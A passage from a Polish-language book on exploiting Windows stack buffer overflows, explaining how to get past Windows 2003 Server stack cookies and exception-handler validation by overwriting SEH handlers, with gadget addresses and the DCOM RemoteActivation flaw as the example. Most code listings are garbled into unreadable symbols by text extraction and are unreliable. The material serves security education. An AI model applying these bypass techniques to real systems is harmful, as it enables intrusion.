001023:=&>-$/,

00102329-5.#</

00102328-5.#$/

00102322-5.$=/

0010232=-5.:/

00102321&,-5.#:/

001023;7

Począwszy od adresu 

**+*,%-*

, rejestry 

%

 i 

.

 są kolejno zerowane za

pomocą rozkazu 

. Następnie pod adresem 

**+*,%*/

 wykonywany jest rozkaz 

 ""

,

który powoduje przejście do adresu 

**+*,%*

. Rozkaz znajdujący się pod  adresem

**+*,%,+

  umieszcza  w  rejestrze 

  wskaźnik  procedury  obsługi  wyjątku,  którą

wywołuje następny rozkaz.

Nawet mimo tej modyfikacji haker może przejąć kontrolę nad działaniem systemu. Jed-
nak nie dysponując  wartościami rejestrów, które  wskazywałyby  ważne  dane  procesu
użytkownika, musi odnaleźć je na własną rękę. A to zmniejsza szansę powodzenia ataku.

Ale czy rzeczywiście? Zaraz po wywołaniu procedury obsługi wyjątku zawartość stosu
będzie wyglądać następująco:

?"@$001023;<

?".<@+A+)*+$=$$$$$$4

?".:@+B="C DE'FG ?CF;C DE

Zamiast  nadpisywać  wskaźnik  procedury  obsługi  wyjątków  adresem  rozkazu 

&'#(

lub 

 ""#(

, wystarczy nadpisać go adresem kodu zawierającego następujące rozkazy:

H

H

Wykonanie każdego rozkazu 

 zwiększa wartość rejestru 

 o 4, wobec czego w mo-

mencie wykonania rozkazu 

 rejestr 

 wskazuje dane procesu użytkownika. Przypo-

mnijmy, że rozkaz 

 pobiera adres znajdujący się na wierzchołku stosu (wskazywany

przez 

)  i  powoduje  przekazanie  sterowania  na  ten  adres.  Dzięki  temu  haker  nie

potrzebuje już rejestru wskazującego bufor ani nie musi domyślać się jego położenia.

background image

154

Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

Gdzie  znajdziemy  blok  potrzebnych  do  tego  rozkazów?  Praktycznie  na  końcu  kodu
każdej funkcji. Paradoksalnie najlepszym miejscem okazuje się blok rozkazów w kodzie,
który zeruje rejestry przed wywołaniem procedury obsługi wyjątku. Blok ten znajduje
się pod adresem 

**+*,%*,

.

00102302

0010230;5

00102303#<

To, że zamiast rozkazu 

 znajduje się tam rozkaz 

#01

, nie ma większego znaczenia.

Zwiększy on zawartość rejestru 

 o 

01

 zamiast o 

1

. Wykonanie tych rozkazów

przeniesie nas z powrotem do struktury 

 na stosie. Konieczne

będzie też zastąpienie wskaźnika następnej struktury 

 kodem

rozkazu krótkiego skoku oraz dwóch rozkazów 

2##34"# '#'56# !#47 )

38&5#("7#37 394#2###

.

Każdy proces Win32 i każdy wątek takiego procesu posiada przynajmniej jedną pro-
cedurę obsługi wyjątków bazującą na ramce na stosie. Procedurę tę otrzymuje w mo-
mencie jego uruchamiania. Jeśli stosujemy metodę przepełnień buforów na platformie
Windows 2003 Server, to wykorzystanie takich procedur obsługi wyjątków umożliwi
nam obejście zabezpieczeń stosu zastosowanych na tej platformie.

Wykorzystanie procedur obsługi wyjątków
na platformie Windows 2003 Server

Wykorzystanie  procedur  obsługi  wyjątków  umożliwia  obejście  zabezpieczeń  stosu
zastosowanych  na  platformie  Windows  2003  Server.  (Omówienie  tego  zagadnienia
zawiera punkt „Ochrona stosu i Windows 2003 Server”). W momencie  wystąpienia  wy-
jątku na platformie Windows 2003 Server sprawdzana jest poprawność pierwszej pro-
cedury  obsługi  skonfigurowanej  dla  tego  wyjątku.  W  ten  sposób  Microsoft  chce  za-
bezpieczyć  się  przed  atakami  na  zasadzie  przepełnienia  stosu,  które  powodują
nadpisanie adresu procedury obsługi wyjątków.

W jaki sposób sprawdzana jest poprawność procedury obsługi wyjątków? Za kontrolę tę
odpowiedzialny  jest  kod  funkcji 

:;. <

  znajdującej  się  w  bi-

bliotece 

.==>.==

. Najpierw sprawdza ona, czy wskaźnik procedury obsługi wyjątku nie

wskazuje adresu na stosie. W tym celu używane są wartości w bloku TEB określające
zakres adresów stosu i znajdujące się pod adresami 

+1

 i 

+?

. Jeśli adres proce-

dury obsługi wyjątku wypada w tym zakresie, to nie zostanie ona wywołana. Jeśli adres
procedury  obsługi  wyjątku  nie  jest  adresem  stosu,  to  następnie  adres  ten  porównywany
jest z listą załadowanych modułów (zarówno wykonywalnych, jak i DLL). Co ciekawe,
jeśli adres procedury obsługi  wyjątków nie przypada w przestrzeni adresowej żadnego
z tych  modułów, to  uważany jest  za bezpieczny  i procedura  zostaje  wywołana. W prze-
ciwnym razie adres procedury obsługi  wyjątków porównywany  jest  jeszcze  z  listą  za-
rejestrowanych procedur obsługi wyjątków.

Następnie  pobierany  jest  wskaźnik  nagłówka  PE  za  pomocą  wywołania  funkcji 

)

"' @ !

. Jeśli bajt przesunięty 

-+

  względem początku  nagłówka  (jest  to  naj-

starszy bajt pola charakterystyki DLL w nagłówku PE) jest równy 

1

, to moduł ten

background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

155

jest niedozwolony. Jeśli adres procedury obsługi wyjątku należy do zakresu adresów
tego  modułu,  to  procedura  nie  zostanie  wywołana.  Wskaźnik  nagłówka  PE  zostaje
przekazany jako parametr funkcji 

"' @..  

. W  tym  przypadku

wywołanie tej funkcji dotyczy katalogu Load Configuration Directory i zwraca adres
oraz  rozmiar  tego  katalogu.  Jeśli  moduł  nie  dysponuje  tym  katalogiem,  to  funkcja
zwraca wartość 0 i na tym kończy się kontrola poprawności procedury obsługi wyjątków,
która  zostaje  wywołana.  Jeśli  moduł  posiada  taki  katalog,  to  sprawdzany  jest  jego
rozmiar. Gdy należy on do zakresu od 

 do 

1?

, to procedura obsługi wyjątku zostaje

wywołana. W odległości 

1

 bajtów od początku katalogu znajduje się wskaźnik tabeli

adresów RVA (Relative Virtual Address) zarejestrowanych procedur obsługi wyjątków.
Jeśli wskaźnik ten jest równy NULL, to procedura obsługi wyjątku zostaje wywołana.
Przesunięta o 

11

 bajtów  względem  początku  katalogu  jest  liczba  elementów  tabeli

adresów RVA. Jeśli równa się ona 0, to procedura obsługi wyjątku zostaje wywołana.
Jeśli  wszystkie  dotychczasowe  kontrole  powiodły  się,  adres  bazowy  modułu  zostaje
odjęty  od  adresu  procedury  obsługi  wyjątków  i  w  wyniku  tej  operacji  otrzymujemy
adres RVA tej procedury. Adres RVA jest następnie porównywany z adresami RVA
w tabeli zarejestrowanych procedur obsługi wyjątków. Jeśli zostanie tam odnaleziony,
to procedura zostanie wywołana. W przeciwnym razie procedura zostanie odrzucona.

Stosując przepełnienia buforów  na stosie  w  systemie Windows  2003  Server  i  nadpi-
sując wskaźnik procedury obsługi wyjątków, mamy do wyboru następujące możliwości:

 

1.

 

Wykorzystać istniejącą procedurę obsługi wyjątku w taki sposób, by
przekazała sterowanie do naszego bufora.

 

2.

 

Znaleźć blok kodu spoza zakresu adresów danego modułu, który przekaże
sterowanie do naszego bufora.

 

3.

 

Znaleźć blok kodu należący do zakresu adresów danego modułu, który nie
posiada katalogu Load Configuration Directory.

Przyjrzymy  się  im  na  przykładzie  wykorzystania  przepełnienia  bufora  przez  funkcję
DCOM o nazwie 

'A 

.

Wykorzystanie istniejącej procedury obsługi wyjątków

Adres 

**+1-/1

 wskazuje zarejestrowaną procedurę obsługi wyjątków w 

.==>.==

.

Jeśli przeanalizujemy działanie tej procedury, to dojdziemy do wniosku, że można ją
wykorzystać  do  wykonania  własnego  kodu.  Wskaźnik  naszej  struktury 

 znajduje się pod adresem 

%$<

.

001<4;91&5,-5.$=/

001<4;8#&,-5.$=/

001<4;8#&,-5.:/

001<4;04,-.I7/

001<4;0:&,-.I<.</

001<4;:1

Wskaźnik naszej struktury 

 został umieszczony w rejestrze 

%

.

Następnie  wartość typu 

!4!

 znajdująca się 

 bajtów za adresem umieszczonym

w rejestrze 

%

 zostaje załadowana do rejestru 

. Ponieważ wcześniej przepełniliśmy

background image

156Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

strukturę 

, to posiadamy kontrolę nad tą wartością, a w konse-

kwencji nad zawartością rejestru 

. W podobny sposób kontrolowana przez nas wartość

typu dword o przesunięciu 0x08 względem adresu znajdującego się w rejestrze 

%

zostaje  umieszczona  w  rejestrze 

.

.  Następnie  do  rejestru 

  zostaje  załadowany

adres efektywny 

#$##B#C

 (czyli 

#B#/

). Ponieważ kontrolujemy zawartość reje-

stru 

, to również możemy zagwarantować odpowiednią wartość tego adresu. Kolejny

rozkaz umieszcza w rejestrze 

 wartość 

!4!

 znajdującą się pod adresem stanowiącym

sumę  zawartości  kontrolowanego  przez  nas  rejestru 

.

  oraz 

#B#1#$#1

.  Następnie

wywołana zostaje procedura znajdująca się pod adresem umieszczonym w rejestrze 

.

Podczas pierwszego włamania do modułu 

A<#

położenie bloku TEB oraz położenie

stosu są łatwe do określenia. Sytuacja może się zmienić w przypadku mocno obciążo-
nego serwera. Zakładając, że jest stabilna, możemy odnaleźć wskaźnik naszej struktury

  pod  adresem 

%$

  (

*++.%

)  i  użyć  go  jako  wskaźnika

naszego kodu. Jednak tuż przed  wywołaniem procedury obsługi  wyjątków  wskaźnik
ten  zostanie  zaktualizowany,  wobec  czego  nie  możemy  zastosować  takiej  metody.
Struktura 

  wskazywana  przez 

%$

  posiada  pod  adresem

-+/+

 wskaźnik do naszej struktury 

, a ponieważ położenie

stosu  jest  zawsze  znane  podczas  pierwszego  ataku,  możemy  wykorzystać  ten
wskaźnik. Inny wskaźnik naszej struktury 

 znajduje się również

pod  adresem 

-+/1

.  Jeśli  chcemy  użyć  tego  adresu,  musimy  zapisać  wartość

10--1

 (która zostanie następnie załadowana do rejestru 

 bajtów za naszą

strukturą 

 oraz wartość 

-%+/+

 

?

 bajtów za tą strukturą

(wartość ta zostanie następnie załadowana do rejestru 

.

). Po odpowiednim wymnoże-

niu i dodaniu otrzymamy właśnie adres 

-+/1

. Do rejestru 

 zostanie następnie

załadowany wskaźnik znajdujący się pod tym adresem i wywołana odpowiednia proce-
dura. Wywołanie to spowoduje, że trafimy do naszej struktury 

w miejscu, w którym znajduje się wskaźnik następnej takiej struktury. Jeśli umieści-
my  tam  kod,  który  wykona  skok  o  14  bajtów,  to  przeskoczymy  kod,  który  był  nam
wcześniej potrzebny, by sterowanie dotarło w obecne miejsce.

Rozwiązanie  to  przetestowaliśmy  na  czterech  maszynach  działających  pod  kontrolą
systemu Windows 2003 Server, z których trzy działały z wersją Enterprise Edition,
a czwarta ze Standard Edition. Wszystkie próby zakończyły się sukcesem. Musimy jed-
nak zawsze mieć pewność, że włamanie tą metodą przeprowadzane jest po raz pierw-
szy. W przeciwnym razie jest wielce prawdopodobne, że zakończy się ono niepowo-
dzeniem. Na marginesie warto również zauważyć, że opisana możliwość wykorzystania
procedury obsługi wyjątków wynika prawdopodobnie z tego, że jest ona przewidziana
do współpracy z wektoryzowanym mechanizmem obsługi wyjątków, a nie używającym
ramek na stosie.

Do włamań możemy wykorzystać również inne moduły, które używają tej samej proce-
dury  obsługi  wyjątków.  Inne  procedury  obsługi  wyjątków  zarejestrowane  w  tej  samej
przestrzeni adresowej zwykle przekazują obsługę do funkcji 

< !"/

  eks-

portowanej przez bibliotekę 

'A>!""

 lub jej odpowiednik.

background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

157

Wykorzystanie bloku kodu o adresie,
który nie należy do żadnego modułu

Podobnie  jak  w  innych  wersjach  systemu  Windows  pod  adresem 

# $# ?

  możemy

odnaleźć  wskaźnik  do  naszej  struktury 

.  Jeśli  potrafimy  od-

naleźć blok rozkazów

H

H

pod adresem, który nie jest związany z żadnym z załadowanych modułów, to możemy
przejąć sterowanie. Każdy proces działający w systemie Windows 2003 Server zawiera
pod adresem 

*++-

 taki blok rozkazów. Ponieważ adres ten nie jest związany

z żadnym modułem, zostanie uznany za bezpieczny, a znajdujący się pod nim kod wyko-
nany jako procedura obsługi wyjątków. Istnieje jednak pewien problem. Na innej ma-
szynie  działającej pod  kontrolą  systemu  Windows  2003  Server  Standard  Edition  ten
sam  blok  rozkazów  znajduje  się  w  pobliżu  podanego  adresu,  ale  nie  jest  to  ten  sam
adres. Skoro nie możemy zagwarantować położenia bloku rozkazów 

, to

nie jest to właściwe rozwiązanie. Zamiast tego bloku możemy poszukać rozkazu:

-.:/

albo:

)&-.:/

w przestrzeni adresowej atakowanego procesu. Chociaż żaden z tych rozkazów nie ist-
nieje pod odpowiednim  adresem,  to jednak  wiele  wskaźników  naszej  struktury 

)

  znajduje  się  w  otoczeniu  wskazywanym  przez  rejestry 

  i 

%

.

Wskaźnik naszej struktury możemy znaleźć pod jednym z następujących adresów:

.:

.#<

.#=

.7=

.<<

.4$

5.$=

5.7<

5.9$

5J<

5J=

5J#:

Każdego z nich możemy użyć dla rozkazu 

&'

 lub 

 ""

. Jeśli sprawdzimy przestrzeń

adresową 

A<

, to pod adresem 

0%%%

 znajdziemy rozkaz:

-5.$9$/

Pod adresem 

%#$#/

 znajduje się wskaźnik naszej struktury 

.

Adres ten nie jest związany z żadnym modułem, i co więcej, wydaje się, że prawie
każdy proces działający w systemie Windows 2003 Server (jak również  wiele pro-
cesów w systemie Windows XP) ma te same bajty właśnie pod tym adresem. Proce-
sy, które są wyjątkiem od tej reguły, posiadają natomiast te bajty pod adresem 

0%%

.

background image

158

Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

Jeśli  nadpiszemy  wskaźnik  procedury  obsługi  wyjątków  adresem 

0%%%

,  to  po-

wrócimy do naszego bufora i uzyskamy możliwość wykonania dowolnego kodu. Adres

0%%%

  sprawdziliśmy  na  wszystkich  czterech  maszynach  z  systemem  Windows

2003 Server i we wszystkich przypadkach zawierał on właściwe bajty reprezentujące
rozkaz 

 ""#!4!#($/

. Wydaje się więc, że opisana metoda powinna być

stosunkowo niezawodna na platformie Windows 2003 Server.

Wykorzystanie bloku kodu należącego do modułu,
który nie posiada katalogu Load Configuration Directory

Plik  wykonywalny 

A<>

  nie  posiada  katalogu  Load  Configuration  Directory.

Kod z przestrzeni adresowej tego procesu zostałby zaakceptowany jako procedura ob-
sługi wyjątku, gdyby nie wyjątek wskaźnika 

;==

 występujący podczas wykonania funkcji

:;. <DE

. Funkcja 

"' @ !

 zwraca bowiem wartość 0 ja-

ko  wskaźnik  nagłówka  PE  dla 

A<

.  Funkcja 

:;. <DE

  nie

sprawdza, czy wykorzystywany przez nią wskaźnik jest różny od 

;==

.

F &HE

5-.41/,<

)K$0018:;70

Na skutek wystąpienia wyjątku działanie procesu zostaje zakończone. Dlatego też nie
uda nam się wykorzystać żadnego kodu należącego do 

A<>!""

. Plik 

'>!""

również  nie  posiada  katalogu  Load  Configuration  Directory.  Jednak  ponieważ  pole
charakterystyki DLL znajdujące się w nagłówku PE ma wartość 

1

, to test wyko-

nywany po wywołaniu funkcji 

"' @ !

 zakończy się niepowodzeniem i ste-

rowanie  zostanie  przekazane  pod  adres 

**+F?C*

  z  dala  od  naszego  kodu.  Jeśli

przejrzymy wszystkie moduły załadowane w przestrzeni adresowej procesu, to okaże
się, że żaden z nich nie spełnia  naszych  wymagań. Większość  posiada  katalog  Load
Configuration Directory i zarejestrowane procedury obsługi wyjątków. Natomiast po-
zostałe moduły, które nie mają tego katalogu, nie są odpowiednie z tego samego po-
wodu co 

'>!""

. W tym przypadku metoda ta nie jest więc przydatna.

Ponieważ w większości przypadków możemy spowodować wyjątek, próbując wyko-
nać  operację  zapisu  za  końcem  stosu,  to  przepełniając  bufor,  możemy  użyć  takiego
sposobu jako ogólnej metody obejścia ochrony stosu w systemie Windows 2003 Se-
rver. Należy jednak pamiętać, że metoda ta jest skuteczna  w chwili obecnej. Nie  ma
wątpliwości, że kolejne wersje systemu lub nawet pakiety serwisowe usuną ten słaby
punkt i sprawią, że metoda przestanie być skuteczna. Wtedy pozostanie nam odkurzyć
program  uruchomieniowy  i  asembler  i  zabrać  się  za  projektowanie  nowej  metody.
Firmie  Microsoft  możemy  natomiast  polecić  wykonywanie  wyłącznie  zarejestrowa-
nych  procedur  obsługi  wyjątków  i  dołożenie  starań,  by  nie  mogły  one  zostać  użyte
przez hakerów w taki sposób, jaki przedstawiliśmy w tym podrozdziale.

Końcowe uwagi
na temat nadpisań procedur obsługi wyjątków

Gdy słaby punkt występuje w wielu systemach operacyjnych — tak jak ma to miejsce
w przypadku przepełnienia bufora DCOM 

'A 

 odkrytego przez polską

grupę  badawczą  The  Last  Stage  of  Delirium  —  to  najlepszym  sposobem  poprawy

background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

159

przenośności  eksploitu  jest  zaatakowanie  procedur  obsługi  wyjątków.  Przesunięcie
początku bufora względem położenia struktury 

 może bowiem

być  różne  dla  poszczególnych  systemów.  I  tak  w  przypadku  wspomnianego  słabego
punktu DCOM struktura ta znajduje się 1412 bajtów od początku bufora w  systemie
Windows 2003 Server, 1472 bajty w systemie Windows XP i 1540 bajtów w systemie
Windows 2000. Mimo tych różnic możliwe jest napisanie pojedynczego eksploitu dla
wszystkich  tych  systemów.  Wystarczy  jedynie  umieścić  w  odpowiednich  miejscach
pseudoprocedury obsługi wyjątków.

Ochrona stosu i Windows 2003 Server

System Windows 2003 Server posiada wbudowaną ochronę stosu. Zastosowanie tego
samego mechanizmu umożliwia Microsoft Visual C++ .NET. Opcja kompilatora 

G

(która  jest  domyślnie  włączona)  sprawia,  że  podczas  generowania  kodu  na  stosie
umieszczane są znaczniki bezpieczeństwa, których zadaniem jest ochrona adresu powrotu
przed  nadpisaniem.  Znaczniki  te  stanowią  odpowiednik  rozwiązania  zastosowanego
przez Crispina Cowana w kompilatorze StackGuard. Po wywołaniu procedury na sto-
sie  umieszczane  są  4  bajty  (

!4!

),  które  są  sprawdzane,  zanim  procedura  zwróci

sterowanie. W ten sposób chroniony jest adres powrotu oraz zawartość rejestru 

%

 za-

pisana na stosie. Logika działania tego mechanizmu jest prosta: jeśli lokalny bufor został
przepełniony i spowodował nadpisanie adresu powrotu, to po drodze musiał również nad-
pisać  znacznik  bezpieczeństwa.  W  ten  sposób  proces  może  rozpoznać  sytuację,
w której  nastąpiło  przepełnienie  bufora  i  podjąć  działania  zapobiegające  wykonaniu
niewłaściwego kodu. Zwykle działania te sprowadzają się do zakończenie pracy procesu.
Chociaż może wydawać się, że rozwiązanie takie zapewnia skuteczną ochronę przed
atakami  wykorzystującymi  przepełnienie,  to  jednak  na  przykładzie  wykorzystania
procedur  obsługi  wyjątków  pokazaliśmy  już,  że  tak  nie  jest.  Ochrona  za  pomocą
znaczników bezpieczeństwa utrudnia takie włamania, ale nie eliminuje ich.

Przyjrzyjmy  się  bliżej  sposobowi  działania  mechanizmu  ochrony  stosu  i  spróbujmy
znaleźć jeszcze inne metody jego obejścia. Znaczniki bezpieczeństwa generowane są
w wystarczająco losowy sposób, aby próbować odgadnąć ich wartość. Przedstawiony
poniżej kod w języku C naśladuje mechanizm generowania znaczników w momencie
uruchamiania procesu.

&

1 LC !

H=+@$!

H&@$!

HI@$!

L;FG' ECGF!

G?&C&;1C&M!

=+@H6C&NL6C&!

=+@=+NG=" !

background image

160

Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

=+@=+NG=C !

=+@=+NGC+=!

O"&=M!

@HM!

&@I.#NI!

=+@=+N&!

=+>P:BQ,=+!

$!

%

Najpierw  wywołana  zostaje  funkcja 

''+"'

.  Wypełnia  ona  dwa

elementy struktury 

+=

 — 

!4@<. '

 i 

!4=4. '

. Te dwie wartości są

następnie  poddawane  operacji  różnicy  symetrycznej.  Otrzymany  wynik  poddawany
jest  tej  samej  operacji,  której  drugim  argumentem  są  kolejno:  identyfikator  procesu,
identyfikator wątku oraz liczba milisekund, które upłynęły od momentu startu systemu
(wartość tę zwraca funkcja 

78DE

). Na końcu wywoływana jest funkcja 

H8

' 8

, której parametrem jest  wskaźnik  wartości 64-bitowej. Wartość ta

jest  następnie  dzielona  na  dwie  wartości  32-bitowe,  na  których  wykonywana  jest
operacja 

. Uzyskany wynik jest jeszcze raz poddawany operacji 

 ze znacznikiem

bezpieczeństwa. Uzyskana wartość znacznika bezpieczeństwa umieszczana jest w pliku
w sekcji 

>!  

.

Zastosowanie opcji 

G

 powoduje również zmianę układu zmiennych lokalnych podczas

generowania kodu przez kompilator. Porządek zmiennych lokalnych pozostaje w zgodzie
z kolejnością ich definicji w programie w języku C, ale wszystkie tablice zostają przesu-
nięte na koniec listy zmiennych lokalnych i w efekcie znajdą się w pobliżu adresu powrotu
na stosie. W ten sposób zapobiega się nadpisaniu zmiennych lokalnych na skutek prze-
pełnienia.  Zadaniem  tego  rozwiązania  jest  przede  wszystkim  ochrona  zmiennych  lo-
gicznych decydujących o przepływie sterowania oraz wskaźników funkcji.

Aby zilustrować pierwszą z wymienionych korzyści, wyobraźmy sobie program, któ-
ry uwierzytelnia użytkowników, a procedura uwierzytelniania podatna jest na atak na
skutek  przepełnienia.  Jeśli  uwierzytelni  ona  użytkownika,  to  nadaje  zmiennej  typu
dword wartość 1, a w przeciwnym razie 0. Jeśli zmienna taka znajdowałaby się za bu-
forem, to haker mógłby go przepełnić i nadać w ten sposób zmiennej wartość 1, mimo
że nie uwierzytelnił się za pomocą nazwy i odpowiedniego hasła.

Gdy funkcja chroniona za pomocą znaczników bezpieczeństwa zwraca sterowanie, to
sprawdza, czy znacznik bezpieczeństwa jest taki sam jak w momencie jej wywołania.
Kopia znacznika zapamiętywana jest w sekcji 

>!  #

pliku zawierającego daną funkcję.

I to jest pierwszy poważny problem takiego rozwiązania — wyjaśnimy to za chwilę.

Jeśli wartość znacznika bezpieczeństwa się nie zgadza, to wywołana zostaje procedu-
ra  bezpieczeństwa  (jeśli  została  zdefiniowana).  Wskaźnik  tej  procedury  przechowy-
wany jest również w sekcji 

>!  

. Jeśli wskaźnik ten jest różny od 

;==

, to zostaje zała-

dowany do rejestru 

 i wykonywany jest rozkaz 

 ""# 

. Stanowi on drugą słabość

tego  rozwiązania.  Jeśli  nie  została  zdefiniowana  procedura  bezpieczeństwa,  to  wy-
woływana  jest  funkcja 

;< !"!+"

.  Funkcja  ta  nie  powoduje  zakoń-

czenia procesu, lecz wykonuje szereg operacji i wywołuje wiele różnych funkcji.

background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

161

Czytelnikowi  zalecamy  przeanalizowanie  działania  funkcji 

;< !"!+"

za pomocą IDA Pro. W skrócie działanie tej funkcji polega na załadowaniu biblioteki

 8">!""

,  a  następnie  wykonaniu  funkcji 

+ 8"

  eksportowanej  przez  tę  bi-

bliotekę. Funkcja ta odpowiedzialna jest  między innymi za  wyświetlenie okna  dialo-
gowego,  które  umożliwia  poinformowanie  firmy  Microsoft  o  zaistniałym  błędzie.
Funkcja 

+ 8"

 wykorzystuje potoki 

 @

 i 

+ 8"

.

Zajmijmy  się  teraz  wspomnianymi  problemami  omawianego  rozwiązania.  Najlepiej
będzie zilustrować je przykładowym kodem.

;E6L@ERLL!

F1&RII,I!

&

I@ERLL!

@=$,$#$$$,$#$$$$!

FJ1&RM,>((H&(&!

P,!

1,$,!

$!

%

F1&RII5,I

@$!

I@ERLL!

5-<$/@!

((+A+K*+RFL

@,>((!

S

$!

@.0!

((KK+*+T

5,!((JJJJJJRU;G;#

((K+)K+V+

5-/S@W(W

..!

((KT)H5)&K&

5-/@$!

((CK5KK))TK

((CK&))+T

@I;,$,5.#!

S

$!

,5!

I5@!((JJJJJJJJJJJJJJRU;G;7

$!

%

background image

162

Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

Program  ten  wyodrębnia  nazwę  hosta  z  adresu  URL.  Funkcja 

8+';"

narażona jest na przepełnienie bufora na stosie w miejscu oznaczonym komentarzem

;I#0

. Pozostawmy na chwilę omówienie tego problemu i przyjrzyjmy się prototy-

powi tej funkcji. Posiada ona dwa parametry — pierwszy jest wskaźnikiem wskaźni-
ka 

D< #BBE

, a drugi wskaźnikiem adresu URL. Komentarzem 

;I#C

 opatrzyliśmy

instrukcję,  która  pierwszemu  parametrowi  nadaje  wartość  wskazującą  nazwę  hosta
umieszczoną  na stercie. Przyjrzyjmy się reprezentacji tej instrukcji na poziomie  roz-
kazów asemblera.

$$<$##3=&,-5.:/

$$<$##31&,-5J:/

$$<$##=7&-/,

Pierwszy z rozkazów umieszcza adres wskaźnika przekazanego jako parametr w reje-
strze 

. Następnie do rejestru 

.

 zostaje załadowany  wskaźnik  nazwy  hosta  znaj-

dującej się na stercie. Ostatni z rozkazów umieszcza ten wskaźnik pod adresem wska-
zywanym  przez  rejestr 

.  I  tutaj  pojawia  się  jeden  ze  wspomnianych  problemów.

Jeśli  przepełnimy  bufor  na  stosie,  nadpiszemy  znacznik  bezpieczeństwa  oraz  adres
powrotu, to kolejnymi nadpisywanymi  wartościami będą parametry funkcji. Ilustruje
to rysunek 8.3.

Rysunek 8.3.
Stos przed
i po przepełnieniu
bufora

Na  skutek  przepełnienia  bufora  haker  może  więc  uzyskać  kontrolę  nad  parametrami
przekazanymi funkcji. Z tego powodu wykonanie rozkazów znajdujących się w pamięci
począwszy  od  adresu 

100%

  (należących  do  rozwinięcia  instrukcji 

B(8# J# 

),

może zostać użyte do nadpisania dowolnej wartości w pamięci bądź może spowodować
naruszenie ochrony pamięci. Druga z tych możliwości wystąpi na przykład w sytuacji,
gdy nadpiszemy parametr znajdujący się pod adresem 

%#$#?

 wartością 

10101010

.

Następnie proces spróbuje zapisać wskaźnik pod adresem reprezentowanym przez tę
wartość, co spowoduje naruszenie ochrony pamięci. Jednocześnie sytuacja taka pozwoli
nam  wykorzystać  mechanizm  struktur  opisujących  procedury  obsługi  wyjątków  do
obejścia mechanizmu zabezpieczeń stosu. A co w przypadku, gdy nie chcemy  spowo-
dować  wyjątku?  Ponieważ  obecnie  zastanawiamy  się  nad  innymi  sposobami  obejścia
zabezpieczeń  stosu,  to  przyjrzyjmy  się  dokładnie  pierwszej  z  wymienionych  możli-
wości (zapisowi dowolnej wartości w pamięci).

Wróćmy zatem do problemów wskazanych w procesie sprawdzania wartości znaczni-
ka bezpieczeństwa. Pierwszy z  nich pojawia  się na  skutek przechowania  oryginalnej
wartości znacznika w sekcji 

>!  

. Dla określonej wersji pliku znacznik ten znajduje

background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

163

się zawsze w tym samym miejscu (może to być prawdą nawet dla różnych wersji pli-
ku). Jeśli  adres  wskaźnika  nazwy  naszego  hosta  na  stosie  jest  zawsze  taki  sam,  mo-
żemy nadpisać nim oryginalną wartość znacznika znajdującą się w sekcji 

>!  

, a na-

stępnie  wartość  znacznika  umieszczoną  na  stosie.  W  ten  sposób  obie  wartości  będą
takie  same  w  momencie  ich  kontroli.  Po  pomyślnym  wyniku  kontroli  znaczników
przejmiemy kontrolę nad działaniem programu i przekażemy sterowanie do wybrane-
go przez nas adresu — tak jak w klasycznym przepełnieniu bufora na stosie.

Jednak  metoda ta  nie jest  wcale  najlepszym  rozwiązaniem  w  naszym  przypadku.  Kod
eksploitu możemy umieścić w buforze i nadpisać adres pewnej funkcji adresem tego
bufora. Gdy funkcja ta zostanie  wywołana, to zostanie wykonany nasz kod znajdujący
się w buforze. Jednak kontrola znaczników bezpieczeństwa da wynik negatywny. I w ten
sposób dochodzimy do drugiego ze wspomnianych problemów. Przypomnijmy jednak,
że gdy kontrola znaczników bezpieczeństwa nie powiedzie się i zdefiniowana została
procedura bezpieczeństwa, to procedura ta zostanie wywołana. Stanowi to dla nas do-
skonałą  okazję,  ponieważ  możemy  nadpisać  wskaźnik  procedury  bezpieczeństwa
(który umieszczony jest w sekcji 

>!  

) wskaźnikiem naszego bufora. W ten sposób

przejmiemy sterowanie w momencie, gdy kontrola znaczników da wynik negatywny.

Przyjrzyjmy się zatem innemu sposobowi. Przypomnijmy, że jeśli kontrola znaczników
wypadnie  negatywnie  i  nie  jest  zdefiniowana  żadna  procedura  bezpieczeństwa,  to
wywołana  zostanie  funkcja 

;< !"!+"

  (przy  założeniu,  że  również

wskaźnik  właściwej  procedury  obsługi  wyjątków  posiada  wartość 

;==

).  Funkcja  ta

wykonuje tak wiele kodu, że stanowi dla hakera doskonałe pole do popisu. Na przykład
funkcja ta wywołuje funkcję 

'.I

, a następnie z uzyskanego katalogu

systemowego ładuje bibliotekę 

 8">!""

. W przypadku przepełnienia posługującego

się  kodem  Unicode  moglibyśmy  nadpisać  wskaźnik  katalogu  systemowego  przecho-
wywany w sekcji 

>!  

 modułu 

7"/C>!""

 za pomocą wskaźnika naszego własnego

katalogu i w rezultacie spowodować załadowanie własnej wersji biblioteki 

 8">!""

zamiast wersji systemowej. Wystarczy, że wersja ta będzie eksportować funkcję 

)

+ 8"

, która zostanie automatycznie wywołana.

Kolejną  interesującą  możliwość  (na  razie  tylko  teoretyczną,  ponieważ  nie  mieliśmy
jeszcze czasu jej sprawdzić) stanowi koncepcja wtórnego, zagnieżdżonego przepełnienia.
Większość funkcji wywoływanych przez 

;< !"!+"

 nie jest chroniona

znacznikami. Załóżmy na przykład, że funkcja 

'.I

 jest narażona na

przepełnienie, ponieważ zakłada, że długość łańcucha katalogowego nie przekracza nigdy
260 bajtów i pochodzi on zawsze z zaufanego źródła. Jeśli nadpiszemy wskaźnik ka-
talogu  systemowego  wskaźnikiem  naszego  bufora,  to  możemy  spowodować  kolejne
przepełnienie i w momencie powrotu funkcji uzyskać sterowanie. W praktyce okazuje
się,  że  funkcja 

'.I

  jest  odporna  na  tego  rodzaju  atak.  Jednak  taki

słaby punkt może kryć się w innych fragmentach kodu wykonywanego przez 

;< )

!"!+"

. Pozostaje tylko go odnaleźć.

W naturalny sposób nasuwa się pytanie, czy scenariusz, w którym uzyskujemy moż-
liwość modyfikacji dowolnego miejsca w pamięci, zanim dokonana zostanie kontrola
znaczników,  może zdarzyć się w praktyce. Odpowiedź na  to pytanie  jest  pozytyw-
na, a sytuacja taka występuje dość często. Przykładem może być słaby punkt DCOM
wykryty przez grupę The Last Stage of Delirium. W tym przypadku parametr jednej

background image

164

